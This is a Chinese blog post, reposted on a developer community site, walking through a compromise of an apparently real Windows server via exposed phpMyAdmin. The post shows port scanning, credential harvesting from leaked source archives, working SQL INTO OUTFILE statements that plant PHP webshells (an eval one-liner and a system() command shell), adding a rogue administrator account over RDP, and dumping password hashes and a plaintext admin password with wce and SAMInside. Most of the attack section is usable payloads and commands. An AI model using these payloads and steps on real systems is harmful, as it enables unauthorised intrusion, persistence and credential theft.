添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议 》和 《 阿里云开发者社区知识产权保护指引 》。如果您发现本社区中有涉嫌抄袭的内容,填写 侵权投诉表单 进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

Simeon

Phpmyadmin 是一款著名的 mysql 在线管理系统,通过提供的 mysql 数据库用户账号和密码对所管理的数据库实施操作。在渗透过程中,一旦获取其 mysql 账号和对应的密码,轻者获取其账号所管理数据库,重者可以配合其它漏洞获取 webshell 权限和系统权限。 Root 账号及口令可以通过暴力破解,源代码泄露等途径获取,本文主要就其 root 账号获取以及 phpmyadmin 的利用、如何导出 webshell 等进行探讨。

Mysql root 账号及密码在 phpmyadmin 中的利用思路主要有以下几个方面:

1 )获取所有数据库中敏感表中的内容。例如涉及系统配置的表,涉及 CMS 管理的各种管理员表以及用户账号的表。通过这些表获取管理员账号和密码,各种配置信息。

2 )获取网站的真实物理路径。网站的真实物理路径主要用来导出 webshell ,其方法主要有程序报错、 phpinfo 函数、程序配置表等。

3 )通过查询语句直接将一句话后门导入到网站目录或者 phpmyadmin 所在目录。

4 )获取 webshell 后,如果是 windows 系统则可以尝试进行提权。

5 )有些网站可能前期被渗透过,网站可能有 webshell ,特别是一句话后门,如果有后门则可以通过一句话后门暴力破解获取。

6 )无法获取网站的真实路径情况下,则意味着无法直接导出一句话 webshell ,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 则可以通过破解管理员账号后直接上传文件来获取 webshell

7 )如果目标不仅仅是一个网站,则可以通过分析获取的密码信息对相邻或者已知目标系统进行渗透利用,例如扫描 SSH 口令、 Mysql 口令等。

8 )很多提供 phpmyadmin 的网站往往会存在目录泄露和代码泄露等漏洞,通过泄露的代码来获取数据库口令,审计泄露代码获取漏洞并利用。

9 phpmyadmin 某些版本存在远程执行以及包含等漏洞,可以通过这些漏洞直接获取 webshell

下面是一个实际利用的实例。

1. IP 所在端口进行全端口扫描

Nmap 中输入 IP 地址,选择“ Intense scan,all Tcp port ”,扫描结果显示该 IP 开放了 135 1026 3306 3389 80 等端口,详细端口开放情况如图 1 所示,在实际渗透过程中可以在浏览器中对逐个端口进行一一访问,当然一些比较明显的端口就不用测试了。有些服务器为了提供多个服务,有时候会开放多个端口,端口越多意味着可以利用的漏洞也就越多。

1 端口开放情况

2. IP 地址进行域名反查

将该 IP 在域名反查网站中进行查询,如图 2 所示,显示该 IP 存在 3 个网站。

2 域名反查

3. 对网站 IP 进行访问

在浏览器中直接输入该 IP 进行访问,发下该 IP 下存在 phpmyadmin 目录、源代码、数据库备份文件等,如图 3 所示。其中可下载文件列表:

http://182.xx.xxx.16/mxsy_newzs.sql

http://182.xx.xxx.16/szcmsw.sql

http://182.xx.xxx.16/szcmsw11.sql

http://182.xx.xxx.16/hs.zip

http://182.xx.xxx.16/Z-BlogPHP_1_4_Deeplue_150101.zip

3 服务器所在 IP 存在目录泄露等漏洞

4. 获取数据库口令

分别下载网站泄露的压缩文件和数据库文件,下载文件后将压缩文件进行解压,然后寻找数据库配置文件。解压 hs.zip 后,在其 data 目录下的 common.inc.php 文件中获取了其数据库配置,如图 4 所示,但很明显该密码不是真正的数据库密码,应该是某一个 cms 的源代码程序包。继续对每一个泄露的目录进行访问,发现 szcms1 目录下还存 rar 文件, http://182.xx.xxx.16/szcms1/szcms.rar http://182.xx.xxx.16/szcms1/szcms1.rar 如图 5 所示。将其下载后进行解压缩,成功找到数据库配置文件。

4 获取数据库配置文件内容

5 再次发现泄露源代码压缩文件

5. 登录 phpmyadmin

使用在前面 szcms1.rar 中获取的 root 账号密码进行登录,如图 6 所示成功登录,可以看到该 mysql 数据库中共有 7 个有用的数据库。可以选择数据库,然后选择“导出”,将指定数据库导出到本地(传说中的脱裤,尽量别干!)。

6 登录 phpmyadmin

6. 导出一句话后门到服务器

目前导出一句话后门的方法有以下几种:

(1) 创建表方式

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOTNULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;

上面代码是在mysql数据库中创建darkmoon 然后加入一个名字为 darkmoon1 的字段 并在 darkmoon1 的字段中插入一句话代码 然后从 darkmoon1 字段里面导出一句话到网站的真实路径 “C:/WWW/szcms1/szcms/Public/”, 最后就是删除 darkmoon 这个表

注意:在使用以上代码时必须选择mysql数据库,并在phpMyAdmin中选择SQL,然后执行以上代码即可。需要修改的地方是网站的真实路径和文件名称“C:/WWW/szcms1/szcms/Public/ exehack.php”

(2)直接导出一句话后门文件

select '<?php@eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'

如果显示结果类似“您的 SQL 语句已成功运行 ( 查询花费 0.0006 秒 )”表明后门文件生成成功。

(3)直接执行命令权限的shell

select '<?php echo\'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTOOUTFILE 'd:/www/cmd.php'

该方法导出成功后可以直接执行 DOS 命令 使用方法 : www.xxx.com/cmd.php?cmd=(cmd= 后面直接执行 dos 命令 )

在本例中执行导出脚本语句后,网站给挂了,访问不了服务器这比较郁闷,尝试通过 mysql 数据库客户端连接工具“ Navicat for MySQL ”,新建一个连接,将 ip 地址等信息全部输入“ Navicat for MySQL ”中,成功连接,如图 7 说是。运气真好!

7 使用 Navicat forMySQL 连接 mysql 数据库

通过访问 http://182.xx.xxx.16/szcms1/szcms/Public/Home/images/micro_r4_c2.png 来获取网站的真实物理路径 C:\WWW\szcms1\szcms\Tp\ ,如图 8 所示。

8 获取真实路径

然后在 mysql 数据库中分别执行:

CREATE TABLE`mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO`mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php@eval($_POST[pass]);?>');

SELECT`darkmoon1` FROM `darkmoon` INTO OUTFILE 'C:/WWW/szcms1/szcms/Public/exehack.php';

DROP TABLE IFEXISTS `darkmoon`;

对导出的 webshell 在网站进行访问测试,如图 9 所示,如果没有显示错误,则表示可以运行,在中国菜刀一句话后门管理中添加该地址直接获取 webshell ,如图 10 所示。

9 通过目录泄露漏洞查看文件是否导出成功

10 获取 webshell

9. 服务器提权

1 wce 直接获取明文密码失败

通过中国菜刀队远程终端命令,直接在其中执行命令,执行 whoami 命令显示为系统权限,上传 wce64.exe 并执行“ wce64 -w ”获取当前登录明文密码,如图 11 所示,结果未能获取密码,直接获取明文密码失败。

11 执行命令

2 )直接添加管理员

在前面的端口扫描中显示该服务器开启了 3389 端口,既然 webshell 可以执行命令,直接执行“ netuser temp temp2005 /add ”和“ net localgroup administrators temp /add ”命令添加一个管理员用户 temp ,密码为 temp2005 ,如图 12 所示成功添加 temp 用户到管理员组中。

12 添加 temp 用户到管理员组

3 )登录 3389

在本地打开 mstsc.exe 直接输入用户名和密码进行登录,如图 13 所示成功登录该服务器。

13 成功登录该服务器

4 )获取管理员密码 hash 和明文

登录服务器后,通过浏览器下载一个 saminside 程序,如图 14 所示,直接获取系统的 hash 值。将该哈希值导出到本地,通过 ophcrack 程序进行破解。

14 获取系统 hash

然后再次上传一个 wce64 修改版本,免输入一键获取密码,如图 15 所示,成功获取 adminstrator 的密码“ 123321abc* ”。

15 获取系统管理员密码

11. 总结与讨论

系统一个小小的失误,再加上一些偶然的因素,就导致一个系统被渗透,并获取了服务器权限, windows apache+mysql+php 架构如果权限设置不当,绝大部分都是 system 权限,在获取 webshell 的情况下 99% 都可以获取 system 权限。在本文中对网站开放 phpmyadmin 的情况下获取 webshell 的思路、导出 webshell 的方法等进行探讨。

本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1928415